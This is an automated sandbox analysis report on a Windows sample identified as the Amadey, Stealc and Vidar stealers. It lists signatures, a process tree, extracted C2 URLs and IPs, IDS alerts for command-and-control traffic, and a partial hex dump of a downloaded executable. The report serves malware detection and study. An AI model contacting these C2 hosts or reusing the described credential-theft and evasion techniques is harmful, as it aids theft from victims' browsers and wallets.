Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562094
MD5:	2d18893c749801ded276b3a6de8af505
SHA1:	041522fe848cacbc0ee1774d1777fc6db61b5759
SHA256:	9f72779cbf98473f3a273b2932fdf342b3d5e56687f745621081a599f42f2c57
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4364 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2D18893C749801DED276B3A6DE8AF505)

chrome.exe (PID: 7416 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7668 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2452,i,9957962094110795164,2357586939602050156,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7396 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7216 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2564 --field-trial-handle=2304,i,3889302733154723481,2697248192002229693,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8500 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCFIECBFIDG.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsCFIECBFIDG.exe (PID: 8328 cmdline: "C:\Users\user\DocumentsCFIECBFIDG.exe" MD5: B1734D770AB1E0F7B6DF002639FF531C)

skotes.exe (PID: 6400 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: B1734D770AB1E0F7B6DF002639FF531C)

msedge.exe (PID: 4060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8040 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7492 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6512 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8220 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6580 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8548 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7368 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8560 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7368 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 9084 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6648 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 7248 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B1734D770AB1E0F7B6DF002639FF531C)

26a643af99.exe (PID: 2720 cmdline: "C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe" MD5: EB315A7709B7905B3F5FB8053E593ABB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001E.00000002.2802890049.0000000000FF1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.2729651276.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.2211035848.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.2727488933.0000000000251000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2757995687.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.3282639838.0000000005240000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.2719616094.0000000004E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.3452809562.0000000000FF1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2760239417.0000000000691000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 4364	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 4364	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4364	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4364	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
32.2.skotes.exe.ff0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
30.2.skotes.exe.ff0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.DocumentsCFIECBFIDG.exe.690000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4364, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7416, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:53:18.952055+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49722	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:53:18.830782+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49722	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:53:19.276484+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49722	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:53:20.822133+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49722	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:53:19.398177+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49722	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:53:18.058011+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49722	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:55:06.042685+0100	2856147	1	A Network Trojan was detected	192.168.2.6	52171	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:53:07.609549+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	52180	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:55:10.816724+0100	2803305	3	Unknown Traffic	192.168.2.6	52184	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:53:21.742420+0100	2803304	3	Unknown Traffic	192.168.2.6	49722	185.215.113.206	80	TCP
2024-11-25T07:53:45.262142+0100	2803304	3	Unknown Traffic	192.168.2.6	49825	185.215.113.206	80	TCP
2024-11-25T07:53:47.416631+0100	2803304	3	Unknown Traffic	192.168.2.6	49825	185.215.113.206	80	TCP
2024-11-25T07:53:48.748720+0100	2803304	3	Unknown Traffic	192.168.2.6	49825	185.215.113.206	80	TCP
2024-11-25T07:53:49.898669+0100	2803304	3	Unknown Traffic	192.168.2.6	49825	185.215.113.206	80	TCP
2024-11-25T07:53:53.621511+0100	2803304	3	Unknown Traffic	192.168.2.6	49825	185.215.113.206	80	TCP
2024-11-25T07:53:54.745657+0100	2803304	3	Unknown Traffic	192.168.2.6	49825	185.215.113.206	80	TCP
2024-11-25T07:54:00.737883+0100	2803304	3	Unknown Traffic	192.168.2.6	49955	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dllC	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllg	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllu	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpCBFIDG.exeata;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll=	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001E.00000002.2802890049.0000000000FF1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.4364.1.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C966C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

1_2_6C966C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.10:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.75:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:52195 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2764437765.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2764437765.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49722
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49722
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:52171 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:52180

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.6:52110 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 06:53:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 